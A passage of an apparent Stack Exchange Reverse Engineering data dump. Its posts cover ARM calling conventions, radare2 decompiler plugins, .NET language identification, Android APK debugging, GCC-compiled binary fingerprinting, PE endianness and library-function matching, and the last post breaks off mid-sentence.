  <row Id="17908" PostTypeId="1" CreationDate="2018-04-05T14:00:08.380" Score="0" ViewCount="653" Body="&lt;p&gt;I see arm 32 bits assembly code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually each function do &lt;code&gt;push { r4-r9,lr}&lt;/code&gt;  ( save 6 registers on stack ).  And in the end of function pop them .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see function that save &lt;code&gt;push {r0,r1,r4-r9,lr}&lt;/code&gt; but in the end of function pop only r4-r9&#xA;Why is that? R0 and r1 suppost to be args, why to push them to stack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, what &lt;code&gt;lr&lt;/code&gt; meam?&lt;/p&gt;&#xA;" OwnerUserId="23664" LastActivityDate="2018-04-05T15:15:55.103" Title="Arm function save registers r0 and r1" Tags="|disassembly|binary-analysis|x86|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17909" PostTypeId="2" ParentId="17908" CreationDate="2018-04-05T15:15:55.103" Score="2" Body="&lt;p&gt;The compiler generates this code depending on which registers it needs to be preserved in the caller function. So usually r4-r9 are saved and then restored in the end of the function. r0 and r1 may be saved to stack in order to reuse them later. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ex:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void main(argc, argv)&#xA;{&#xA;  ParseStringArguments(&amp;amp;stringArguments, argc, argv);&#xA;  ParseNumericArguments(&amp;amp;numericArguments, argc, argv);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;main will get argc and argv through r0 and r1. Then it will be necessary to call ParseStringArguments. stringArguments will be passed through r0, argc through r1 and argv through r2. So the compiler will have to rewrite r0 and r1 with the new values. Where will it get the values of argc and argv when it comes to the call of ParseNumericArguments? So compiler generates the code to store argc and argv to stack, then load them back right before the call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;LR holds return address. &lt;a href=&quot;https://en.wikipedia.org/wiki/Link_register&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.wikipedia.org/wiki/Link_register&lt;/a&gt; function uses it to return to the caller function via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV PC, LR &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BX LR&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-04-05T15:15:55.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17910" PostTypeId="1" AcceptedAnswerId="17914" CreationDate="2018-04-05T17:01:59.107" Score="3" ViewCount="3191" Body="&lt;p&gt;Radare has a command &lt;code&gt;pdc&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pdc   pseudo disassembler output in C-like syntax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm curious to know how the plugin &lt;a href=&quot;https://github.com/wargio/r2dec-js&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;r2dec-js&lt;/code&gt;&lt;/a&gt; compares to &lt;code&gt;pdc&lt;/code&gt; it seems like they do the same thing.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-07-06T08:42:06.873" Title="How does r2dec compare to pdc?" Tags="|disassembly|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17911" PostTypeId="1" AcceptedAnswerId="17912" CreationDate="2018-04-06T09:13:19.870" Score="6" ViewCount="870" Body="&lt;p&gt;The motivation for this question is that I used JetBrains dotPeek to decompile an .exe written in F#, but the output project directory produced C# code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does decompiling an F# assembly produce C# code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that both languages get JIT-compiled from MSIL to native code, which may make it difficult to definitively say what the original language was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite this, are there reliable methods for distinguishing C# binaries from F# ones via static analysis? Dynamic analysis?&lt;/p&gt;&#xA;" OwnerUserId="23416" LastEditorUserId="60" LastEditDate="2018-04-06T09:20:50.907" LastActivityDate="2018-04-06T10:01:43.233" Title="How to tell if a particular .NET assembly was written in C# or F#?" Tags="|decompilation|.net|c#|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17912" PostTypeId="2" ParentId="17911" CreationDate="2018-04-06T10:01:43.233" Score="10" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Why does decompiling an F# assembly produce C# code?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It doesn't. It produces IL code which then can be interpreted as C#, F# or VB.NET. dotPeek doesn't allow you to use any other language for previewing but for example &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;noreferrer&quot;&gt;dnSpy&lt;/a&gt;, &lt;a href=&quot;https://github.com/icsharpcode/ILSpy&quot; rel=&quot;noreferrer&quot;&gt;ILSpy&lt;/a&gt; allow you to pick your favourite one. Just wondering if there's any tools that allows F#. Not sure/haven't seen one.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Despite this, are there reliable methods for distinguishing C# binaries from F# ones via static analysis? Dynamic analysis?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are some hints that can guide you. Check the references. If something is referencing the &lt;code&gt;FSharp.Core&lt;/code&gt; then probably was written in F#. On the other hand if it doesn't probably it was not :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;F#'s dlls usually have a lot of attributes put on classes like &lt;code&gt;[FSharpInterfaceDataVersion]&lt;/code&gt; or &lt;code&gt;[CompilationMappingAttribute]&lt;/code&gt; being used. Check them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's one more thing. F# compiler is capable of using a &lt;a href=&quot;https://blogs.msdn.microsoft.com/fsharpteam/2011/07/08/tail-calls-in-f/&quot; rel=&quot;noreferrer&quot;&gt;tail-recursion&lt;/a&gt; by generating &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/system.reflection.emit.opcodes.tailcall(v=vs.110).aspx&quot; rel=&quot;noreferrer&quot;&gt;tailcall opcode&lt;/a&gt; which is not the case with C# (at least for now). That could be an indicator. But it could be also manually crafted to use it after being written completely in C#.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-04-06T10:01:43.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17913" PostTypeId="2" ParentId="14556" CreationDate="2018-04-06T10:42:37.900" Score="1" Body="&lt;p&gt;I will fill an issue in github because that is the place this kind of things should be posted. This change in the disasm can be done in 5-10 minutes, but i would like to have more details on which is the that arch, where can I find this plugin, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/radare/radare2/issues/9813&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/radare/radare2/issues/9813&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14564" LastActivityDate="2018-04-06T10:42:37.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17914" PostTypeId="2" ParentId="17910" CreationDate="2018-04-06T11:13:04.690" Score="6" Body="&lt;p&gt;There is a huge difference between &lt;code&gt;pdc&lt;/code&gt; and &lt;code&gt;pdd&lt;/code&gt; (r2dec).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;pdc&lt;/code&gt; provide a basic r2 pseudo code with some and it's mostly for x86/x64.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;pdd&lt;/code&gt; provides a more advance pseudo-C like code where the controlflow, instructions, delayed branches, etc.. have been analyzed and tries to provide some slightly more readable code to the user.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;pdd&lt;/code&gt; is only available after installing r2dec from &lt;code&gt;r2pm&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23889" LastActivityDate="2018-04-06T11:13:04.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17915" PostTypeId="1" AcceptedAnswerId="17920" CreationDate="2018-04-06T13:19:08.270" Score="2" ViewCount="2165" Body="&lt;p&gt;Reverse an &lt;code&gt;.apk&lt;/code&gt; file following &lt;a href=&quot;https://blog.netspi.com/attacking-android-applications-with-debuggers/&quot; rel=&quot;nofollow noreferrer&quot;&gt;This Article&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open &lt;code&gt;ApkStudio&lt;/code&gt;, edit &lt;code&gt;AndroidManifest.xml&lt;/code&gt; to allow debug and Build a new Apk file&lt;/li&gt;&#xA;&lt;li&gt;Got source code with &lt;code&gt;dex2jar&lt;/code&gt; and &lt;code&gt;jd-gui&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create an project in &lt;code&gt;Android Studio&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Put source code into the project folder&lt;/li&gt;&#xA;&lt;li&gt;install the apk in an Emulator&lt;/li&gt;&#xA;&lt;li&gt;run the app and start &lt;code&gt;Attach Debugger&lt;/code&gt; in Android Studio&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Breakpoints successfully reached, but got no debug information with a &lt;code&gt;Source Code does not match bytecode&lt;/code&gt; warning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong with my operations?&lt;/p&gt;&#xA;" OwnerUserId="23892" LastActivityDate="2018-06-06T07:36:39.707" Title="Got `Source Code does not match bytecode` debug a Reversed Android app" Tags="|disassembly|debugging|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17916" PostTypeId="2" ParentId="17663" CreationDate="2018-04-06T16:17:34.073" Score="1" Body="&lt;p&gt;If you use WinDbg, an easy way to tell might be to simply do a search for &lt;code&gt;0x00400000&lt;/code&gt; (or whatever the image base address is) through every code page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know why GCC does this but apparently, it seems to make a habit of (unnecessarily?) referencing the image headers. For example, the following code can be found in &lt;a href=&quot;https://www.simutrans.com/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Simutrans&lt;/a&gt; version 120.2.2 r8163 which is compiled by GCC:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00401002:    lea     esi,[esi]&#xA;00401009:    lea     edi,[edi]&#xA;00401010:    sub     esp,1Ch&#xA;00401013:    xor     eax,eax&#xA;00401015:    cmp     word ptr [image00400000 (00400000)],5A4Dh  &amp;lt;--- reference to the MS-DOS Stub&#xA;0040101e:    mov     dword ptr [image00400000+0x59c7ec (0099c7ec)],1&#xA;00401028:    mov     dword ptr [image00400000+0x59c7e8 (0099c7e8)],1&#xA;00401032:    mov     dword ptr [image00400000+0x59c7e4 (0099c7e4)],1&#xA;0040103c:    mov     dword ptr [image00400000+0x59c490 (0099c490)],1&#xA;00401046:    je      image00400000+0x10b0 (004010b0)&#xA;00401048:    mov     dword ptr [image00400000+0x4b8008 (008b8008)],eax&#xA;0040104d:    mov     eax,dword ptr [image00400000+0x59c7f8 (0099c7f8)]&#xA;00401052:    test    eax,eax&#xA;00401054:    je      image00400000+0x10a0 (004010a0)&#xA;00401056:    mov     dword ptr [esp],2&#xA;0040105d:    call    image00400000+0x2c0c38 (006c0c38)&#xA;00401062:    mov     dword ptr [esp],0FFFFFFFFh&#xA;00401069:    call    image00400000+0x2a2ef0 (006a2ef0)&#xA;0040106e:    mov     edx,dword ptr [image00400000+0x59c808 (0099c808)]&#xA;00401074:    mov     dword ptr [image00400000+0x59de98 (0099de98)],eax&#xA;00401079:    mov     dword ptr [image00400000+0x59de9c (0099de9c)],eax&#xA;0040107e:    mov     eax,dword ptr [image00400000+0x59e6fc (0099e6fc)]&#xA;00401083:    mov     dword ptr [eax],edx&#xA;00401085:    call    image00400000+0x2a2be0 (006a2be0)&#xA;0040108a:    cmp     dword ptr [image00400000+0x3d0708 (007d0708)],1&#xA;00401091:    je      image00400000+0x1100 (00401100)&#xA;00401093:    xor     eax,eax&#xA;00401095:    add     esp,1Ch&#xA;00401098:    ret&#xA;00401099:    lea     esi,[esi]&#xA;004010a0:    mov     dword ptr [esp],1&#xA;004010a7:    call    image00400000+0x2c0c38 (006c0c38)&#xA;004010ac:    jmp     image00400000+0x1062 (00401062)&#xA;004010ae:    xchg    ax,ax&#xA;004010b0:    mov     edx,dword ptr [image00400000+0x3c (0040003c)]&#xA;004010b6:    cmp     dword ptr image00400000 (00400000)[edx],4550h&#xA;004010c0:    lea     ecx,image00400000 (00400000)[edx]&#xA;004010c6:    jne     image00400000+0x1048 (00401048)&#xA;004010c8:    movzx   edx,word ptr [ecx+18h]&#xA;004010cc:    cmp     dx,10Bh&#xA;004010d1:    je      image00400000+0x1112 (00401112)&#xA;004010d3:    cmp     dx,20Bh&#xA;004010d8:    jne     image00400000+0x1048 (00401048)&#xA;004010de:    cmp     dword ptr [ecx+84h],0Eh&#xA;004010e5:    jbe     image00400000+0x1048 (00401048)&#xA;004010eb:    mov     edx,dword ptr [ecx+0F8h]&#xA;004010f1:    xor     eax,eax&#xA;004010f3:    test    edx,edx&#xA;004010f5:    setne   al&#xA;004010f8:    jmp     image00400000+0x1048 (00401048)&#xA;004010fd:    lea     esi,[esi]&#xA;00401100:    mov     dword ptr [esp],offset image00400000+0x2a2e70 (006a2e70)&#xA;00401107:    call    image00400000+0x2a2e60 (006a2e60)&#xA;0040110c:    xor     eax,eax&#xA;0040110e:    add     esp,1Ch&#xA;00401111:    ret&#xA;00401112:    cmp     dword ptr [ecx+74h],0Eh&#xA;00401116:    jbe     image00400000+0x1048 (00401048)&#xA;0040111c:    mov     ecx,dword ptr [ecx+0E8h]&#xA;00401122:    xor     eax,eax&#xA;00401124:    test    ecx,ecx&#xA;00401126:    setne   al&#xA;00401129:    jmp     image00400000+0x1048 (00401048)&#xA;0040112e:    xchg    ax,ax&#xA;00401130:    sub     esp,2Ch&#xA;00401133:    mov     eax,dword ptr [image00400000+0x59c7e0 (0099c7e0)]&#xA;00401138:    mov     dword ptr [esp+10h],offset image00400000+0x4b8000 (008b8000)&#xA;00401140:    mov     dword ptr [esp+8],offset image00400000+0x4b8010 (008b8010)&#xA;00401148:    mov     dword ptr [esp+4],offset image00400000+0x4b8014 (008b8014)&#xA;00401150:    mov     dword ptr [esp],offset image00400000+0x4b8018 (008b8018)&#xA;00401157:    mov     dword ptr [image00400000+0x4b8000 (008b8000)],eax&#xA;0040115c:    mov     eax,dword ptr [image00400000+0x3d06cc (007d06cc)]&#xA;00401161:    mov     dword ptr [esp+0Ch],eax&#xA;00401165:    call    image00400000+0x2c0c40 (006c0c40)&#xA;0040116a:    add     esp,2Ch&#xA;0040116d:    ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did a search for the image base address in Simutrans and got the following results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; s -d 00401000 L?003cd38c 0x00400000&#xA;00401018  00400000 05c75a4d 0099c7ec 00000001  ..@.MZ.......... &amp;lt;--- relevant&#xA;004010b8  00400000 00004550 00008a8d 80750040  ..@.PE......@.u. &amp;lt;--- relevant&#xA;005b50e0  00400000 04788908 01044783 0000e281  ..@...x..G......&#xA;006a3170  00400000 8d10fa83 4000009f c4458900  ..@........@..E.&#xA;006a31d0  00400000 85e8d389 81fffffd 8168f4fe  ..@...........h.&#xA;006a32b0  00400000 d0480f00 29c4458b 89d001ca  ..@...H..E.)....&#xA;006a32d0  00400000 810cc683 8168f4fe 7c820f00  ..@.......h....|&#xA;006a3a28  00400000 0672b70f 1802448d 2074f685  ..@...r..D....t &#xA;006a3ae4  00400000 efeb0c75 0026748d 8301eb83  ..@.u....t&amp;amp;.....&#xA;007cf75c  00400000 0049004f 007e0288 007e0290  ..@.O.I...~...~.&#xA;009a3378  00400000 00400040 00400080 004000ff  ..@.@.@...@...@.&#xA;009a49a0  00400000 00400040 00400080 004000ff  ..@.@.@...@...@.&#xA;009a5248  00400000 00400040 00400080 004000ff  ..@.@.@...@...@.&#xA;009a5dd8  00400000 00400040 00400080 004000ff  ..@.@.@...@...@.&#xA;009e3ea0  00400000 004014c0 005a8000 005e005c  ..@...@...Z.\.^.&#xA;009e3ef4  00400000 00000000 00000000 abababab  ..@.............&#xA;0:000&amp;gt; s -d 00401001 L?003cd38c 0x00400000&#xA;0043b53d  00400000 0c2444c7 00000000 08244489  ..@..D$......D$.&#xA;006a3179  00400000 0fc44589 00011984 20fa8300  ..@..E......... &#xA;006a383d  00400000 0b745a4d 891cc483 5f5e5bd8  ..@.MZt......[^_ &amp;lt;--- relevant&#xA;006a3851  00400000 ffff46e8 74c085ff 003ca1e7  ..@..F.....t..&amp;lt;.&#xA;006a38b5  00400000 03745a4d 56c3d089 0000b853  ..@.MZt....VS... &amp;lt;--- relevant&#xA;006a38e1  00400000 0000eb81 b70f0040 548d0670  ..@.....@...p..T&#xA;006a3925  00400000 03745a4d b8c3d089 00400000  ..@.MZt.......@. &amp;lt;--- relevant&#xA;006a3931  00400000 fffe66e8 74c085ff 003ca1ef  ..@..f.....t..&amp;lt;.&#xA;006a3955  00400000 8b535a4d 7408244c 5bd0890e  ..@.MZS.L$.t...[ &amp;lt;--- relevant&#xA;006a3971  00400000 fffe26e8 74c085ff 003ca1e4  ..@..&amp;amp;.....t..&amp;lt;.&#xA;006a39c5  00400000 03745a4d b8c3d089 00400000  ..@.MZt.......@. &amp;lt;--- relevant&#xA;006a39d1  00400000 fffdc6e8 b8c085ff 00400000  ..@...........@.&#xA;006a39dd  00400000 89d0450f f689c3d0 0027bc8d  ..@..E........'.&#xA;006a39f5  00400000 03745a4d 569066c3 0000b853  ..@.MZt..f.VS... &amp;lt;--- relevant&#xA;006a3a91  00400000 fffd06e8 74c085ff 003ca1e6  ..@........t..&amp;lt;.&#xA;006a3aa5  00400000 0080808b c0850040 b70fd174  ..@.....@...t...&#xA;007dfa85  00400000 00448000 003f0000 00000000  ..@...D...?.....&#xA;007fffe1  00400000 003f0000 ffffc000 1641dfff  ..@...?.......A.&#xA;009e0045  00400000 00000000 11001000 953e16a5  ..@...........&amp;gt;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When looking at the disassembly for all the the results that are relevant, I see mostly the following instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp word ptr [image00400000 (00400000)],5A4Dh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've seen similar memory references in other EXEs but I'm yet to see Visual Studio produce this kind of code (and I ran the same search on an EXE built by Visual Studio and didn't see these specific memory references) so I'd say that if you see code like the above, you are almost certainly dealing with an EXE compiled by GCC.&lt;/p&gt;&#xA;" OwnerUserId="23894" LastActivityDate="2018-04-06T16:17:34.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17918" PostTypeId="1" CreationDate="2018-04-07T01:02:53.170" Score="1" ViewCount="155" Body="&lt;p&gt;Disclaimer: This is both my first post, and my first time approaching reverse engineering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overview: Need for Speed 5 is a classic (1990 era) racing game that was extremely unique in that it featured only Porsche, and the developers even worked with Porsch AG to make it as simulated as possible for the time period.&#xA;Here we are 18 years later, and the track format has not been completely REd.&#xA;I have taken the time to dig over the past 3 years to no avail. I can't find info on the car model format, which might lend a hand in reverse engineering the track model format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I HAVE managed to do was get the track models &quot;decompressed&quot;, which yields some clear details, but beyond this I wouldn't have any clue how to proceed. The reason I have quotes is that being the format was never fully figured out, it very well could be useless in this manor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am hoping someone who has the skill and knowledge would be willing to aid me in getting this format figured out, so at minimal the models could be extracted, and ideally editable. The minimal goal is due to the fact I make video games, so it would be easier for me to make a modernized application sporting these resources, rather than a simple track editor, though there is a community that still plays this game and would be extremely excited if the format was figured out to where we could import other tracks into the game for a fresh take.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, I will share 7 files to serve as examples.&#xA;In the track folder:&#xA;the .crp files are the native tracks in their original form.&#xA;the .drp are the supposedly decompressed versions, and clearly have noteworthy information, such as UV, and texture references.&#xA;I have also included a car model that has both the crp and drp versions as a possible guide, as that format has long been figured out, but lost to time.&#xA;I can easily extract textures from the game, and teach track has additional data that I can provide upon request.&#xA;The last file is the de/compression tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This game is now considered Abandonware, and can easily be obtained for those curious. Unfortunately with each windows update, it gets harder and harder to run this game, the graphics are extremely dated, ripping tools like ninjaripper cannot rip anything other than 2D planes, so that route isn't possible, and I neither have a free camera mode for top down pics to serve as a template for modeling, nor experience to model it freehand (better yet, at all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANY help would be appreciated, as there are people in the community who can code the necessary tools to manipulate it once it is figured out. Having this knowledge might even arm me to make an exporter for the older Need for Speed 4 track files, which would be the main game we would want to import tracks from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Files: &lt;a href=&quot;https://www.dropbox.com/s/x46qm58do6phdda/nfs5.zip?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/x46qm58do6phdda/nfs5.zip?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23898" LastEditorUserId="2147" LastEditDate="2019-01-27T11:31:33.507" LastActivityDate="2019-01-27T11:31:33.507" Title="How would I begin REing this proprietary model format?" Tags="|disassembly|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17919" PostTypeId="2" ParentId="17663" CreationDate="2018-04-07T02:44:38.063" Score="0" Body="&lt;p&gt;There‘s a tool fort that: &lt;a href=&quot;https://www.aldeid.com/wiki/PEiD&quot; rel=&quot;nofollow noreferrer&quot;&gt;peid&lt;/a&gt;. The format used by peid is also the de facto standard format for detection of compilers and runtime packers (=programs that modify compiled programs). While peid seems to no longer be actively developed you can find up to date third party signature files for peid on the net. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course by looking at the peid signatures you can see what they use to identify the compiler. It‘s mostly the code at the entry point, i.e. the instructions that are run before your main() or WinMain() are even called.&lt;/p&gt;&#xA;" OwnerUserId="23656" LastActivityDate="2018-04-07T02:44:38.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17920" PostTypeId="2" ParentId="17915" CreationDate="2018-04-07T03:42:04.893" Score="1" Body="&lt;p&gt;The source code you got is not a perfect match, it is representative.  You will likely want to debug in &lt;a href=&quot;https://github.com/JesusFreke/smali&quot; rel=&quot;nofollow noreferrer&quot;&gt;smali&lt;/a&gt;, not Java. The smali plugin for AndroidStudio works really well for this.&lt;/p&gt;&#xA;" OwnerUserId="19009" LastEditorUserId="245" LastEditDate="2018-06-06T07:36:39.707" LastActivityDate="2018-06-06T07:36:39.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17921" PostTypeId="2" ParentId="17887" CreationDate="2018-04-07T03:46:17.403" Score="1" Body="&lt;p&gt;If you dont mind it being python instead, I think you could do something pretty easily by combining the bincopy library (for the conversions to/from) and Capstone/Keystone for disassembling the old and assembling the new instructions.&lt;/p&gt;&#xA;" OwnerUserId="19009" LastActivityDate="2018-04-07T03:46:17.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17922" PostTypeId="1" AcceptedAnswerId="17923" CreationDate="2018-04-07T04:00:30.983" Score="3" ViewCount="2154" Body="&lt;p&gt;For ELF files, there is a field near the start of the ELF header that indicates the endianness of the file:&lt;a href=&quot;https://en.wikipedia.org/wiki/Executable_and_Linkable_Format#File_layout&quot; rel=&quot;nofollow noreferrer&quot;&gt;e_ident[EI_DATA]&lt;/a&gt;.  If an application wants to extract data from the header of a given ELF binary, this field can be used to know whether &lt;a href=&quot;http://man7.org/linux/man-pages/man3/endian.3.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;endianness adjustments&lt;/a&gt; are needed for extracted integer values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an equivalent process for determining the endianness of a given PE file, or is it safe to assume that all PE files will use little endianness for stored integer values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The majority of PE files encountered will likely be compiled for x86 or x86_64 (and, thus, will use little endianness), but the question arises for PE files built for Windows on ARM / ARM64, since many ARM processors have big endian and little endian modes of operation.  Also, &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/ms809762.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;this article&lt;/a&gt; implies that Windows supports/supported running on other architectures like MIPS as well, which may have supported big endianness also.&lt;/p&gt;&#xA;" OwnerUserId="23588" LastActivityDate="2018-04-07T09:00:17.610" Title="Determining endianness of PE files (Windows on ARM?)" Tags="|arm|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17923" PostTypeId="2" ParentId="17922" CreationDate="2018-04-07T09:00:17.610" Score="4" Body="&lt;p&gt;Windows platforms have a fixed endianness and do not support running different endianness files. The file format itself uses always little-endian fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;AFAIK the only Windows platform supporting big-endian was the Xbox 360 (aka Xenon), which can be identified by the machine value &lt;code&gt;0x01F2&lt;/code&gt; (not publicly documented but probably defined as &lt;code&gt;IMAGE_FILE_MACHINE_PPCBE&lt;/code&gt; in source headers). Such files use little-endian headers but contain big-endian instructions and data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other Windows platforms (even earlier MIPS and PowerPC NT versions) only supported little-endian configurations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, the Windows on ARM aka Windows RT platform (ARMv7, &lt;code&gt;IMAGE_FILE_MACHINE_ARMNT=0x01c4&lt;/code&gt;) only officially supports Thumb mode instructions. (earlier Windows CE releases supported classic ARM mode too).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-04-07T09:00:17.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17924" PostTypeId="2" ParentId="13689" CreationDate="2018-04-08T00:46:50.027" Score="0" Body="&lt;p&gt;I'm using a &lt;strong&gt;Debian based OS(Kali / Parrot OS)&lt;/strong&gt; and I got the same error. When you run radare2 in a &lt;strong&gt;Mac OS&lt;/strong&gt; and try to add a breakpoint using the same method, it will work properly. But when it comes to Linux OS, it will probably give you this error.&lt;/p&gt;&#xA;&lt;p&gt;I tried everything. Then I saw this when I was trying to execute &lt;code&gt;ood&lt;/code&gt; inside radare2 console:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;WARNING: bin_strings buffer is too big (0xffffffffa9a2552c). Use -zzz or set bin.maxstrbuf (RABIN2_MAXSTRBUF) in r2 (rabin2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;First, you have to compile the C code using the following command,&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;gcc &amp;lt;name&amp;gt;.c -no-pie -o &amp;lt;any_name&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then open it with &lt;code&gt;-zzz&lt;/code&gt; option, as an example, let's say my compiled code name is &amp;quot;tool&amp;quot;, then execute this command,&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;radare2 -zzz tool3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And continue with the process. Now you'll be able to add a breakpoint.&lt;/p&gt;&#xA;" OwnerUserId="23900" LastEditorUserId="22780" LastEditDate="2021-06-17T15:31:47.263" LastActivityDate="2021-06-17T15:31:47.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17925" PostTypeId="1" CreationDate="2018-04-08T09:06:44.483" Score="7" ViewCount="653" Body="&lt;p&gt;Assuming that library X is statically linked, is there a way to know with an acceptable grade of confidence if a function from it was used in the binary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am currently using this approach:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Convert the library function from its disassembly to its abstract representation to retrieve control flow structures, function and system calls and save them into a data structure by the order they appear in.&lt;/li&gt;&#xA;&lt;li&gt;Repeat the process with every statically linked function in the binary.&lt;/li&gt;&#xA;&lt;li&gt;Try to find similarities between the representation of the library function I am interested in and those found in the binary.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It works, but it can probably be done better and I fear I am missing code that uses particular compiler settings and/or obfuscation. For example, if an optimization flag is set and two or more functions are joined in the same monolithic piece of code, my approach will miss it. Also, it's not much time-efficient, which becomes a problem when I need to analyze a large binary against hundreds or thousands of libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of generating the AST for the entire binary instead of individual functions, and match parts of it with the library function's representation. Is there a general technique to do this, possibly already implemented in a publicly available tool? Is there a better idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already know of the tools to generate abstract representations. I am more interested in the matching part, or ideally, in a tool that does both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: @HamZa from security.SE has mentioned me IDA FLIRT and Zignatures. Are these effective against obfuscation/optimization? 